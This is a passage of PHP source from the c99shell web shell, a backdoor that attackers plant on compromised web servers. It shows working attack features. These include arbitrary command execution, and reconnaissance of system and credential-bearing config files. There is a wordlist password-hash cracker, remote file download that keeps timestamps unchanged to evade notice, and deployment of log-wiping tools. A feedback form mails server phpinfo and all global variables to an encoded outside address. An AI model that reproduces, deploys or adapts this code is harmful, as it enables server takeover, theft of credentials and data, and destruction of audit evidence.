  2162. if (file_get_contents("/etc/motd")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=motd&d=".urlencode("/etc")."&ft=txt\"><u><b>Message Of The Day</b></u></a></font></b><br>";}
  2163. if (file_get_contents("/etc/hosts")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=hosts&d=".urlencode("/etc")."&ft=txt\"><u><b>Hosts</b></u></a></font></b><br>";}
  2164. function displaysecinfo($name,$value) {if (!empty($value)) {if (!empty($name)) {$name = "<b>".$name." - </b>";} echo $name.nl2br($value)."<br>";}}
  2165. displaysecinfo("OS Version?",myshellexec("cat /proc/version"));
  2166. displaysecinfo("Kernel version?",myshellexec("sysctl -a | grep version"));
  2167. displaysecinfo("Distrib name",myshellexec("cat /etc/issue.net"));
  2168. displaysecinfo("Distrib name (2)",myshellexec("cat /etc/*-realise"));
  2169. displaysecinfo("CPU?",myshellexec("cat /proc/cpuinfo"));
  2170. displaysecinfo("RAM",myshellexec("free -m"));
  2171. displaysecinfo("HDD space",myshellexec("df -h"));
  2172. displaysecinfo("List of Attributes",myshellexec("lsattr -a"));
  2173. displaysecinfo("Mount options ",myshellexec("cat /etc/fstab"));
  2174. displaysecinfo("Is cURL installed?",myshellexec("which curl"));
  2175. displaysecinfo("Is lynx installed?",myshellexec("which lynx"));
  2176. displaysecinfo("Is links installed?",myshellexec("which links"));
  2177. displaysecinfo("Is fetch installed?",myshellexec("which fetch"));
  2178. displaysecinfo("Is GET installed?",myshellexec("which GET"));
  2179. displaysecinfo("Is perl installed?",myshellexec("which perl"));
  2180. displaysecinfo("Where is apache",myshellexec("whereis apache"));
  2181. displaysecinfo("Where is perl?",myshellexec("whereis perl"));
  2182. displaysecinfo("locate proftpd.conf",myshellexec("locate proftpd.conf"));
  2183. displaysecinfo("locate httpd.conf",myshellexec("locate httpd.conf"));
  2184. displaysecinfo("locate my.conf",myshellexec("locate my.conf"));
  2185. displaysecinfo("locate psybnc.conf",myshellexec("locate psybnc.conf"));
  2186. }
  2187. else
  2188. {
  2189. exec('systeminfo', $wininfo);
  2190. ?>
  2191. <br>DOS command: <b>systeminfo</b><br>
  2192. <textarea cols=125 rows=<?php echo count($wininfo); ?>><?php
  2193. if ($wininfo) {
  2194. foreach($wininfo as $row)
  2195. echo $row."\n";
  2196. } else { // if systeminfo failed
  2197. echo 'Couldn\'t execute command!';
  2198. }
  2199. ?>
  2200. </textarea>
  2201. <?php
  2202. }
  2203.  
  2204. }
  2205. if ($act == 'mkfile')
  2206. {
  2207. if ($mkfile != $d)
  2208. {
  2209. if (file_exists($mkfile)) {echo "<b>Make File \"".htmlspecialchars($mkfile)."\"</b>: object alredy exists";}
  2210. elseif (!fopen($mkfile,'w')) {echo '<b>Make File "'.htmlspecialchars($mkfile).'"</b>: access denied';}
  2211. else {$act = 'f'; $d = dirname($mkfile); if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} $f = basename($mkfile);}
  2212. }
  2213. else {$act = $dspact = 'ls';}
  2214. }
  2215. if ($act == 'encoder')
  2216. {
  2217. echo "<script>function set_encoder_input(text) {document.forms.encoder.input.value = text;}</script><center><b>Encoder:</b></center><form name=\"encoder\" action=\"".$surl."\" method=POST><input type=hidden name=act value=encoder><b>Input:</b><center><textarea name=\"encoder_input\" id=\"input\" cols=50 rows=5>".@htmlspecialchars($encoder_input)."</textarea><br><br><input type=submit value=\"calculate\"><br><br></center><b>Hashes</b>:<br><center>";
  2218. foreach(array("md5","crypt","sha1","crc32") as $v)
  2219. {
  2220. echo $v." - <input type=text size=50 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".$v($encoder_input)."\" readonly><br>";
  2221. }
  2222. echo "</center><b>Url:</b><center><br>urlencode - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".urlencode($encoder_input)."\" readonly>
  2223. <br>urldecode - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".htmlspecialchars(urldecode($encoder_input))."\" readonly>
  2224. <br></center><b>Base64:</b><center>base64_encode - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".base64_encode($encoder_input)."\" readonly></center>";
  2225. echo "<center>base64_decode - ";
  2226. if (base64_encode(base64_decode($encoder_input)) != $encoder_input) {echo "<input type=text size=35 value=\"failed\" disabled readonly>";}
  2227. else
  2228. {
  2229. $debase64 = base64_decode($encoder_input);
  2230. $debase64 = str_replace("\0","[0]",$debase64);
  2231. $a = explode("\r\n",$debase64);
  2232. $rows = count($a);
  2233. $debase64 = htmlspecialchars($debase64);
  2234. if ($rows == 1) {echo "<input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".$debase64."\" id=\"debase64\" readonly>";}
  2235. else {$rows++; echo "<textarea cols=\"40\" rows=\"".$rows."\" onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" id=\"debase64\" readonly>".$debase64."</textarea>";}
  2236. echo " <a href=\"#\" onclick=\"set_encoder_input(document.forms.encoder.debase64.value)\"><b>^</b></a>";
  2237. }
  2238. echo "</center><br><b>Base convertations</b>:<center>dec2hex - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"";
  2239. $c = strlen($encoder_input);
  2240. for($i=0;$i<$c;$i++)
  2241. {
  2242. $hex = dechex(ord($encoder_input[$i]));
  2243. if ($encoder_input[$i] == "&") {echo $encoder_input[$i];}
  2244. elseif ($encoder_input[$i] != "\\") {echo "%".$hex;}
  2245. }
  2246. echo "\" readonly><br></form>";
  2247.  
  2248. ?>
  2249. </center>
  2250. <br><br>
  2251. <table border=0 align=center cellpadding=4>
  2252. <tr><td>
  2253. <center><b>Search milw0rm for MD5 hash</b></center>
  2254. </td><td>
  2255. <center><b>Search md5encryption.com for MD5 or SHA1 hash</b></center>
  2256. </td><td>
  2257. <center><b>Search CsTeam for MD5 hash</b></center>
  2258. </td></tr>
  2259. <tr><td>
  2260. <center>
  2261. <form target="_blank" action="http://www.milw0rm.com/cracker/search.php" method=POST>
  2262. <input type=text size=40 name=hash> <input type=submit value="Submit"></form>
  2263. </center>
  2264. </td><td>
  2265. <center>
  2266. <form target="_blank" action="http://www.md5encryption.com/?mod=decrypt" method=POST>
  2267. <input type=text size=40 name=hash2word> <input type=submit value="Submit"></form>
  2268. </center>
  2269. </td><td>
  2270. <center>
  2271. <form target="_blank" action="http://www.csthis.com/md5/index.php" method=POST>
  2272. <input type=text size=40 name=h> <input type=submit value="Submit"></form>
  2273. </center>
  2274. </td></tr>
  2275. </table>
  2276. <br>
  2277. <center>
  2278. <b>Wordlist Hash Cracker</b><br><br>
  2279. <form action="<?php echo $surl; ?>" method=GET>
  2280. <input type=hidden name="act" value="encoder">
  2281. <input type=hidden name="d" value="<?php echo $d; ?>">
  2282. Enter hash: <input type=text width=300 name="hash" size=40>
  2283. <br>
  2284. Wordlist: <input type=text name="wordlist" size=40>
  2285. <br>
  2286. Type: <select name="type">
  2287. <option value="md5">MD5</option>
  2288. <option value="sha1">SHA1</option>
  2289. </select> <input type=submit value="Crack Hash">
  2290. </form>
  2291. </center>
  2292. <?php
  2293. // my wordlist cracker ^_^
  2294. if (isset($_GET['hash']) && isset($_GET['wordlist']) && ($_GET['type'] == 'md5' || $_GET['type'] == 'sha1')) {
  2295. $type = $_GET['type'];
  2296. $hash = $_GET['hash'];
  2297. $count = 1;
  2298. $wordlist = file($_GET['wordlist']);
  2299. $words = count($wordlist);
  2300. foreach ($wordlist as $word) {
  2301. echo $count.' of '.$words.': '.$word.'<br>';
  2302. if ($hash == $type(rtrim($word))) {
  2303. echo '<font color=red>Great success! The password is: '.$word.'</font><br>';
  2304. exit;
  2305. }
  2306. ++$count;
  2307. }
  2308. }
  2309.  
  2310. }
  2311. if ($act == 'fsbuff')
  2312. {
  2313. $arr_copy = $sess_data["copy"];
  2314. $arr_cut = $sess_data["cut"];
  2315. $arr = array_merge($arr_copy,$arr_cut);
  2316. if (count($arr) == 0) {echo "<center><b>Buffer is empty!</b></center>";}
  2317. else {echo "<b>File-System buffer</b><br><br>"; $ls_arr = $arr; $disp_fullpath = TRUE; $act = "ls";}
  2318. }
  2319. if ($act == "selfremove")
  2320. {
  2321. if (($submit == $rndcode) and ($submit != ""))
  2322. {
  2323. if (unlink(__FILE__)) {@ob_clean(); echo "Thanks for using c99shell v.".$shver."!"; c99shexit(); }
  2324. else {echo "<center><b>Can't delete ".__FILE__."!</b></center>";}
  2325. }
  2326. else
  2327. {
  2328. if (!empty($rndcode)) {echo "<b>Error: incorrect confimation!</b>";}
  2329. $rnd = rand(0,9).rand(0,9).rand(0,9);
  2330. echo "<form action=\"".$surl."\"><input type=hidden name=act value=selfremove><b>Self-remove: ".__FILE__." <br><b>Are you sure?<br>For confirmation, enter \"".$rnd."\"</b>: <input type=hidden name=rndcode value=\"".$rnd."\"><input type=text name=submit> <input type=submit value=\"YES\"></form>";
  2331. }
  2332. }
  2333. if ($act == "update") {$ret = c99sh_getupdate(!!$confirmupdate); echo "<b>".$ret."</b>"; if (stristr($ret,"new version")) {echo "<br><br><input type=button onclick=\"location.href='".$surl."act=update&confirmupdate=1';\" value=\"Update now\">";}}
  2334. if ($act == "feedback")
  2335. {
  2336. $suppmail = base64_decode("Yzk5c2hlbGxAY2N0ZWFtLnJ1");
  2337. if (!empty($submit))
  2338. {
  2339. $ticket = substr(md5(microtime()+rand(1,1000)),0,6);
  2340. $body = "c99shell v.".$shver." feedback #".$ticket."\nName: ".htmlspecialchars($fdbk_name)."\nE-mail: ".htmlspecialchars($fdbk_email)."\nMessage:\n".htmlspecialchars($fdbk_body)."\n\nIP: ".$REMOTE_ADDR;
  2341. if (!empty($fdbk_ref))
  2342. {
  2343. $tmp = @ob_get_contents();
  2344. ob_clean();
  2345. phpinfo();
  2346. $phpinfo = base64_encode(ob_get_contents());
  2347. ob_clean();
  2348. echo $tmp;
  2349. $body .= "\n"."phpinfo(): ".$phpinfo."\n"."\$GLOBALS=".base64_encode(serialize($GLOBALS))."\n";
  2350. }
  2351. mail($suppmail,"c99shell v.".$shver." feedback #".$ticket,$body,"FROM: ".$suppmail);
  2352. echo "<center><b>Thanks for your feedback! Your ticket ID: ".$ticket.".</b></center>";
  2353. }
  2354. else {echo "<form action=\"".$surl."\" method=POST><input type=hidden name=act value=feedback><b>Feedback or report bug (".str_replace(array("@","."),array("[at]","[dot]"),$suppmail)."):<br><br>Your name: <input type=\"text\" name=\"fdbk_name\" value=\"".htmlspecialchars($fdbk_name)."\"><br><br>Your e-mail: <input type=\"text\" name=\"fdbk_email\" value=\"".htmlspecialchars($fdbk_email)."\"><br><br>Message:<br><textarea name=\"fdbk_body\" cols=80 rows=10>".htmlspecialchars($fdbk_body)."</textarea><input type=\"hidden\" name=\"fdbk_ref\" value=\"".urlencode($HTTP_REFERER)."\"><br><br>Attach server-info * <input type=\"checkbox\" name=\"fdbk_servinf\" value=\"1\" checked><br><br>There are no checking in the form.<br><br>* - strongly recommended, if you report bug, because we need it for bug-fix.<br><br>We understand languages: English, Russian.<br><br><input type=\"submit\" name=\"submit\" value=\"Send\"></form>";}
  2355. }
  2356. if ($act == "search")
  2357. {
  2358. echo "<b>Search in file-system:</b><br>";
  2359. if (empty($search_in)) {$search_in = $d;}
  2360. if (empty($search_name)) {$search_name = "(.*)"; $search_name_regexp = 1;}
  2361. if (empty($search_text_wwo)) {$search_text_regexp = 0;}
  2362. if (!empty($submit))
  2363. {
  2364. $found = array();
  2365. $found_d = 0;
  2366. $found_f = 0;
  2367. $search_i_f = 0;
  2368. $search_i_d = 0;
  2369. $a = array
  2370. "name"=>$search_name, "name_regexp"=>$search_name_regexp,
  2371. "text"=>$search_text, "text_regexp"=>$search_text_regxp,
  2372. "text_wwo"=>$search_text_wwo,
  2373. "text_cs"=>$search_text_cs,
  2374. "text_not"=>$search_text_not
  2375. );
  2376. $searchtime = getmicrotime();
  2377. $in = array_unique(explode(";",$search_in));
  2378. foreach($in as $v) {c99fsearch($v);}
  2379. $searchtime = round(getmicrotime()-$searchtime,4);
  2380. if (count($found) == 0) {echo "<b>No files found!</b>";}
  2381. else
  2382. {
  2383. $ls_arr = $found;
  2384. $disp_fullpath = TRUE;
  2385. $act = "ls";
  2386. }
  2387. }
  2388. echo "<form method=POST>
  2389. <input type=hidden name=\"d\" value=\"".$dispd."\"><input type=hidden name=act value=\"".$dspact."\">
  2390. <b>Search for (file/folder name): </b><input type=\"text\" name=\"search_name\" size=\"".round(strlen($search_name)+25)."\" value=\"".htmlspecialchars($search_name)."\"> <input type=\"checkbox\" name=\"search_name_regexp\" value=\"1\" ".($search_name_regexp == 1?" checked":"")."> - regexp
  2391. <br><b>Search in (explode \";\"): </b><input type=\"text\" name=\"search_in\" size=\"".round(strlen($search_in)+25)."\" value=\"".htmlspecialchars($search_in)."\">
  2392. <br><br><b>Text:</b><br><textarea name=\"search_text\" cols=\"122\" rows=\"10\">".htmlspecialchars($search_text)."</textarea>
  2393. <br><br><input type=\"checkbox\" name=\"search_text_regexp\" value=\"1\" ".($search_text_regexp == 1?" checked":"")."> - regexp
  2394.   <input type=\"checkbox\" name=\"search_text_wwo\" value=\"1\" ".($search_text_wwo == 1?" checked":"")."> - <u>w</u>hole words only
  2395.   <input type=\"checkbox\" name=\"search_text_cs\" value=\"1\" ".($search_text_cs == 1?" checked":"")."> - cas<u>e</u> sensitive
  2396.   <input type=\"checkbox\" name=\"search_text_not\" value=\"1\" ".($search_text_not == 1?" checked":"")."> - find files <u>NOT</u> containing the text
  2397. <br><br><input type=submit name=submit value=\"Search\"></form>";
  2398. if ($act == 'ls') {$dspact = $act; echo "<hr size=\"1\" noshade><b>Search took ".$searchtime." secs (".$search_i_f." files and ".$search_i_d." folders, ".round(($search_i_f+$search_i_d)/$searchtime,4)." objects per second).</b><br><br>";}
  2399. }
  2400. if ($act == 'chmod')
  2401. {
  2402. $mode = fileperms($d.$f);
  2403. if (!$mode) {echo "<b>Change file-mode with error:</b> can't get current value.";}
  2404. else
  2405. {
  2406. $form = TRUE;
  2407. if ($chmod_submit)
  2408. {
  2409. $octet = "0".base_convert(($chmod_o["r"]?1:0).($chmod_o["w"]?1:0).($chmod_o["x"]?1:0).($chmod_g["r"]?1:0).($chmod_g["w"]?1:0).($chmod_g["x"]?1:0).($chmod_w["r"]?1:0).($chmod_w["w"]?1:0).($chmod_w["x"]?1:0),2,8);
  2410. if (chmod($d.$f,$octet)) {$act = "ls"; $form = FALSE; $err = "";}
  2411. else {$err = "Can't chmod to ".$octet.".";}
  2412. }
  2413. if ($form)
  2414. {
  2415. $perms = parse_perms($mode);
  2416. echo "<b>Changing file-mode (".$d.$f."), ".view_perms_color($d.$f)." (".substr(decoct(fileperms($d.$f)),-4,4).")</b><br>".($err?"<b>Error:</b> ".$err:"")."<form action=\"".$surl."\" method=POST><input type=hidden name=d value=\"".htmlspecialchars($d)."\"><input type=hidden name=f value=\"".htmlspecialchars($f)."\"><input type=hidden name=act value=chmod><table align=left width=300 border=0 cellspacing=0 cellpadding=5><tr><td><b>Owner</b><br><br><input type=checkbox NAME=chmod_o[r] value=1".($perms["o"]["r"]?" checked":"")."> Read<br><input type=checkbox name=chmod_o[w] value=1".($perms["o"]["w"]?" checked":"")."> Write<br><input type=checkbox NAME=chmod_o[x] value=1".($perms["o"]["x"]?" checked":"").">eXecute</td><td><b>Group</b><br><br><input type=checkbox NAME=chmod_g[r] value=1".($perms["g"]["r"]?" checked":"")."> Read<br><input type=checkbox NAME=chmod_g[w] value=1".($perms["g"]["w"]?" checked":"")."> Write<br><input type=checkbox NAME=chmod_g[x] value=1".($perms["g"]["x"]?" checked":"").">eXecute</font></td><td><b>World</b><br><br><input type=checkbox NAME=chmod_w[r] value=1".($perms["w"]["r"]?" checked":"")."> Read<br><input type=checkbox NAME=chmod_w[w] value=1".($perms["w"]["w"]?" checked":"")."> Write<br><input type=checkbox NAME=chmod_w[x] value=1".($perms["w"]["x"]?" checked":"").">eXecute</font></td></tr><tr><td><input type=submit name=chmod_submit value=\"Save\"></td></tr></table></form>";
  2417. }
  2418. }
  2419. }
  2420. if ($act == "upload")
  2421. {
  2422. $uploadmess = "";
  2423. $uploadpath = str_replace("\\",DIRECTORY_SEPARATOR,$uploadpath);
  2424. if (empty($uploadpath)) {$uploadpath = $d;}
  2425. elseif (substr($uploadpath,-1) != "/") {$uploadpath .= "/";}
  2426. if (!empty($submit))
  2427. {
  2428. global $HTTP_POST_FILES;
  2429. $uploadfile = $HTTP_POST_FILES["uploadfile"];
  2430. if (!empty($uploadfile["tmp_name"]))
  2431. {
  2432. if (empty($uploadfilename)) {$destin = $uploadfile["name"];}
  2433. else {$destin = $userfilename;}
  2434. if (!move_uploaded_file($uploadfile["tmp_name"],$uploadpath.$destin)) {$uploadmess .= "Error uploading file ".$uploadfile["name"]." (can't copy \"".$uploadfile["tmp_name"]."\" to \"".$uploadpath.$destin."\"!<br>";}
  2435. }
  2436. elseif (!empty($uploadurl))
  2437. {
  2438. if (!empty($uploadfilename)) {$destin = $uploadfilename;}
  2439. else
  2440. {
  2441. $destin = explode("/",$destin);
  2442. $destin = $destin[count($destin)-1];
  2443. if (empty($destin))
  2444. {
  2445. $i = 0;
  2446. $b = "";
  2447. while(file_exists($uploadpath.$destin)) {if ($i > 0) {$b = "_".$i;} $destin = "index".$b.".html"; $i++;}}
  2448. }
  2449. if ((!eregi("http://",$uploadurl)) and (!eregi("https://",$uploadurl)) and (!eregi("ftp://",$uploadurl))) {echo "<b>Incorect url!</b><br>";}
  2450. else
  2451. {
  2452. $st = getmicrotime();
  2453. $content = @file_get_contents($uploadurl);
  2454. $dt = round(getmicrotime()-$st,4);
  2455. if (!$content) {$uploadmess .= "Can't download file!<br>";}
  2456. else
  2457. {
  2458. if ($filestealth) {$stat = stat($uploadpath.$destin);}
  2459. $fp = fopen($uploadpath.$destin,"w");
  2460. if (!$fp) {$uploadmess .= "Error writing to file ".htmlspecialchars($destin)."!<br>";}
  2461. else
  2462. {
  2463. fwrite($fp,$content,strlen($content));
  2464. fclose($fp);
  2465. if ($filestealth) {touch($uploadpath.$destin,$stat[9],$stat[8]);}
  2466. }
  2467. }
  2468. }
  2469. }
  2470. }
  2471. if ($miniform)
  2472. {
  2473. echo "<b>".$uploadmess."</b>";
  2474. $act = "ls";
  2475. }
  2476. else
  2477. {
  2478. echo "<b>File upload:</b><br><b>".$uploadmess."</b><form enctype=\"multipart/form-data\" action=\"".$surl."act=upload&d=".urlencode($d)."\" method=POST>
  2479. Select file on your local computer: <input name=\"uploadfile\" type=\"file\"><br>               or<br>
  2480. Input URL: <input name=\"uploadurl\" type=\"text\" value=\"".htmlspecialchars($uploadurl)."\" size=\"70\"><br><br>
  2481. Save this file dir: <input name=\"uploadpath\" size=\"70\" value=\"".$dispd."\"><br><br>
  2482. File-name (auto-fill): <input name=uploadfilename size=25><br><br>
  2483. <input type=checkbox name=uploadautoname value=1 id=df4> convert file name to lovercase<br><br>
  2484. <input type=submit name=submit value=\"Upload\">
  2485. </form>";
  2486. }
  2487. }
  2488. if ($act == 'md5file') {
  2489. ?>
  2490. <center><b>MD5 Checksum:</b></center><br>
  2491. <table border=0 align=center>
  2492. <?php
  2493. foreach ($actbox as $v)
  2494. echo '<tr><td>'.md5_file($v).'</td><td>'.$v.'</td></tr>';
  2495. echo "</table></td></tr></table><br><TABLE style=\"BORDER-COLLAPSE: collapse\" cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgcolor=#000000 borderColorLight=#c0c0c0 border=1><tr><td width=\"100%\" valign=\"top\">";
  2496. $act = 'ls';
  2497. }
  2498. if ($act == 'sha1file') {
  2499. ?>
  2500. <center><b>SHA1 Checksum:</b></center><br>
  2501. <table border=0 align=center>
  2502. <?php
  2503. foreach ($actbox as $v)
  2504. echo '<tr><td>'.sha1_file($v).'</td><td>'.$v.'</td></tr>';
  2505. echo "</table></td></tr></table><br><TABLE style=\"BORDER-COLLAPSE: collapse\" cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgcolor=#000000 borderColorLight=#c0c0c0 border=1><tr><td width=\"100%\" valign=\"top\">";
  2506. $act = 'ls';
  2507. }
  2508. if ($act == 'delete')
  2509. {
  2510. $delerr = '';
  2511. foreach ($actbox as $v)
  2512. {
  2513. $result = FALSE;
  2514. $result = fs_rmobj($v);
  2515. if (!$result)
  2516. $delerr .= 'Can\'t delete '.htmlspecialchars($v).'<br>';
  2517. }
  2518. if (!empty($delerr))
  2519. echo '<b>Deleting with errors:</b><br>'.$delerr;
  2520. $act = 'ls';
  2521. }
  2522. if (!$usefsbuff)
  2523. {
  2524. if (($act == "paste") or ($act == "copy") or ($act == "cut") or ($act == "unselect")) {echo "<center><b>Sorry, buffer is disabled. For enable, set directive \"\$useFSbuff\" as TRUE.</center>";}
  2525. }
  2526. else
  2527. {
  2528. if ($act == "copy") {$err = ""; $sess_data["copy"] = array_merge($sess_data["copy"],$actbox); c99_sess_put($sess_data); $act = "ls"; }
  2529. elseif ($act == "cut") {$sess_data["cut"] = array_merge($sess_data["cut"],$actbox); c99_sess_put($sess_data); $act = "ls";}
  2530. elseif ($act == "unselect") {foreach ($sess_data["copy"] as $k=>$v) {if (in_array($v,$actbox)) {unset($sess_data["copy"][$k]);}} foreach ($sess_data["cut"] as $k=>$v) {if (in_array($v,$actbox)) {unset($sess_data["cut"][$k]);}} c99_sess_put($sess_data); $act = "ls";}
  2531. if ($actemptybuff) {$sess_data["copy"] = $sess_data["cut"] = array(); c99_sess_put($sess_data);}
  2532. elseif ($actpastebuff)
  2533. {
  2534. $psterr = "";
  2535. foreach($sess_data["copy"] as $k=>$v)
  2536. {
  2537. $to = $d.basename($v);
  2538. if (!fs_copy_obj($v,$to)) {$psterr .= "Can't copy ".$v." to ".$to."!<br>";}
  2539. if ($copy_unset) {unset($sess_data["copy"][$k]);}
  2540. }
  2541. foreach($sess_data["cut"] as $k=>$v)
  2542. {
  2543. $to = $d.basename($v);
  2544. if (!fs_move_obj($v,$to)) {$psterr .= "Can't move ".$v." to ".$to."!<br>";}
  2545. unset($sess_data["cut"][$k]);
  2546. }
  2547. c99_sess_put($sess_data);
  2548. if (!empty($psterr)) {echo "<b>Pasting with errors:</b><br>".$psterr;}
  2549. $act = "ls";
  2550. }
  2551. elseif ($actarcbuff)
  2552. {
  2553. $arcerr = "";
  2554. if (substr($actarcbuff_path,-7,7) == ".tar.gz") {$ext = ".tar.gz";}
  2555. else {$ext = ".tar.gz";}
  2556. if ($ext == ".tar.gz") {$cmdline = "tar cfzv";}
  2557. $cmdline .= " ".$actarcbuff_path;
  2558. $objects = array_merge($sess_data["copy"],$sess_data["cut"]);
  2559. foreach($objects as $v)
  2560. {
  2561. $v = str_replace("\\",DIRECTORY_SEPARATOR,$v);
  2562. if (substr($v,0,strlen($d)) == $d) {$v = basename($v);}
  2563. if (is_dir($v))
  2564. {
  2565. if (substr($v,-1) != DIRECTORY_SEPARATOR) {$v .= DIRECTORY_SEPARATOR;}
  2566. $v .= "*";
  2567. }
  2568. $cmdline .= " ".$v;
  2569. }
  2570. $tmp = realpath(".");
  2571. chdir($d);
  2572. $ret = myshellexec($cmdline);
  2573. chdir($tmp);
  2574. if (empty($ret)) {$arcerr .= "Can't call archivator (".htmlspecialchars(str2mini($cmdline,60)).")!<br>";}
  2575. $ret = str_replace("\r\n","\n",$ret);
  2576. $ret = explode("\n",$ret);
  2577. if ($copy_unset) {foreach($sess_data["copy"] as $k=>$v) {unset($sess_data["copy"][$k]);}}
  2578. foreach($sess_data["cut"] as $k=>$v)
  2579. {
  2580. if (in_array($v,$ret)) {fs_rmobj($v);}
  2581. unset($sess_data["cut"][$k]);
  2582. }
  2583. c99_sess_put($sess_data);
  2584. if (!empty($arcerr)) {echo "<b>Archivation errors:</b><br>".$arcerr;}
  2585. $act = "ls";
  2586. }
  2587. elseif ($actpastebuff)
  2588. {
  2589. $psterr = "";
  2590. foreach($sess_data["copy"] as $k=>$v)
  2591. {
  2592. $to = $d.basename($v);
  2593. if (!fs_copy_obj($v,$d)) {$psterr .= "Can't copy ".$v." to ".$to."!<br>";}
  2594. if ($copy_unset) {unset($sess_data["copy"][$k]);}
  2595. }
  2596. foreach($sess_data["cut"] as $k=>$v)
  2597. {
  2598. $to = $d.basename($v);
  2599. if (!fs_move_obj($v,$d)) {$psterr .= "Can't move ".$v." to ".$to."!<br>";}
  2600. unset($sess_data["cut"][$k]);
  2601. }
  2602. c99_sess_put($sess_data);
  2603. if (!empty($psterr)) {echo "<b>Pasting with errors:</b><br>".$psterr;}
  2604. $act = "ls";
  2605. }
  2606. }
  2607. // the wipe logs stuff needs to be before cmd, because it will change the $act if the write is successful
  2608. if ($act == 'miglc' || $act == 'zap2') { // *nix cleaners
  2609. if (is_writable('.')) {
  2610. cf($act, $$act); // 'tis pure innovation of optimization :)
  2611. $cmd = './'.$act; // keep this before $act = 'cmd';
  2612. $act = 'cmd';
  2613. $cmd_txt = '1';
  2614. }else{
  2615. echo 'Directory Is Not Writable!<br>';
  2616. }
  2617. }
  2618. if ($act == 'clearlogs') { // windows cleaners
  2619. if (is_writable('.')) {
  2620. cf($act.'.exe', $$act);
  2621. $cmd = $act.'.exe';
  2622. $act = 'cmd';
  2623. $cmd_txt = '1';
  2624. }else{
  2625. echo 'Directory Is Not Writable!<br>';
  2626. }
  2627. }
  2628. if ($act == "cmd")
  2629. {
  2630. if (trim($cmd) == "ps -aux") {$act = "processes";}
  2631. elseif (trim($cmd) == "tasklist") {$act = "processes";}
  2632. else
  2633. {
  2634. @chdir($chdir);
  2635. if (!empty($submit))
  2636. {
  2637. echo "<b>Result of execution this command</b>:<br>";
  2638. $olddir = realpath(".");
  2639. @chdir($d);
  2640. $ret = myshellexec($cmd);
  2641. $ret = convert_cyr_string($ret,"d","w");
  2642. if ($cmd_txt)
  2643. {
  2644. $rows = count(explode("\r\n",$ret))+1;
  2645. if ($rows < 10) {$rows = 10;}
  2646. echo "<br><textarea cols=\"122\" rows=\"".$rows."\" readonly>".htmlspecialchars($ret)."</textarea>";
  2647. }
  2648. else {echo $ret."<br>";}
  2649. @chdir($olddir);
  2650. }
  2651. else {echo "<b>Execution command</b>"; if (empty($cmd_txt)) {$cmd_txt = TRUE;}}
  2652. echo "<form action=\"".$surl."\" method=POST><input type=hidden name=act value=cmd><textarea name=cmd cols=122 rows=10>".htmlspecialchars($cmd)."</textarea><input type=hidden name=\"d\" value=\"".$dispd."\"><br><br><input type=submit name=submit value=\"Execute\"> Display in text-area <input type=\"checkbox\" name=\"cmd_txt\" value=\"1\""; if ($cmd_txt) {echo " checked";} echo "></form>";
  2653. }
  2654. }
  2655. if ($act == 'ls')
  2656. {
  2657. if (count($ls_arr) > 0) {$list = $ls_arr;}
  2658. else
  2659. {
  2660. $list = array();
  2661. if ($h = @opendir($d))
  2662. {
  2663. while (($o = readdir($h)) !== FALSE) {$list[] = $d.$o;}
  2664. closedir($h);
  2665. }
  2666. else {}
  2667. }
  2668. if (count($list) == 0) {echo "<center><b>Can't open folder (".htmlspecialchars($d).")!</b></center>";}
  2669. else
  2670. {
  2671. //Building array
  2672. $objects = array();
  2673. $vd = "f"; //Viewing mode
  2674. if ($vd == "f")
  2675. {
  2676. $objects["head"] = array();
  2677. $objects["folders"] = array();
  2678. $objects["links"] = array();
  2679. $objects["files"] = array();
  2680. foreach ($list as $v)
  2681. {
  2682. $o = basename($v);
  2683. $row = array();
  2684. if ($o == ".") {$row[] = $d.$o; $row[] = "LINK";}
  2685. elseif ($o == "..") {$row[] = $d.$o; $row[] = "LINK";}
  2686. elseif (is_dir($v))
  2687. {
  2688. if (is_link($v)) {$type = "LINK";}
  2689. else {$type = "DIR";}
  2690. $row[] = $v;
  2691. $row[] = $type;
  2692. }
  2693. elseif(is_file($v)) {$row[] = $v; $row[] = filesize($v);}
  2694. $row[] = filemtime($v);
  2695. if (!$win)
  2696. {
  2697. $ow = posix_getpwuid(fileowner($v));
  2698. $gr = posix_getgrgid(filegroup($v));
  2699. $row[] = ($ow["name"]?$ow["name"]:fileowner($v))."/".($gr["name"]?$gr["name"]:filegroup($v));
  2700. }
  2701. $row[] = fileperms($v);
  2702. if (($o == ".") or ($o == "..")) {$objects["head"][] = $row;}
  2703. elseif (is_link($v)) {$objects["links"][] = $row;}
  2704. elseif (is_dir($v)) {$objects["folders"][] = $row;}
  2705. elseif (is_file($v)) {$objects["files"][] = $row;}
  2706. $i++;
  2707. }
  2708. $row = array();
  2709. $row[] = '<b>Name</b>';
  2710. $row[] = '<b>Size</b>';
  2711. $row[] = '<b>Modify</b>';
  2712. if (!$win)
  2713. $row[] = '<b>Owner/Group</b>';
  2714. $row[] = '<b>Perms</b>';
  2715. $row[] = '<b>Action</b>';
  2716. $parsesort = parsesort($sort);
  2717. $sort = $parsesort[0].$parsesort[1];
  2718. $k = $parsesort[0];
  2719. if ($parsesort[1] != "a") {$parsesort[1] = "d";}
  2720. $y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&sort=".$k.($parsesort[1] == "a"?"d":"a")."\">";
  2721. $y .= "<img src=\"".$surl."act=img&img=sort_".($sort[1] == "a"?"asc":"desc")."\" height=\"9\" width=\"14\" alt=\"".($parsesort[1] == "a"?"Asc.":"Desc")."\" border=\"0\"></a>";
  2722. $row[$k] .= $y;
  2723. for($i=0;$i<count($row)-1;$i++)
  2724. {
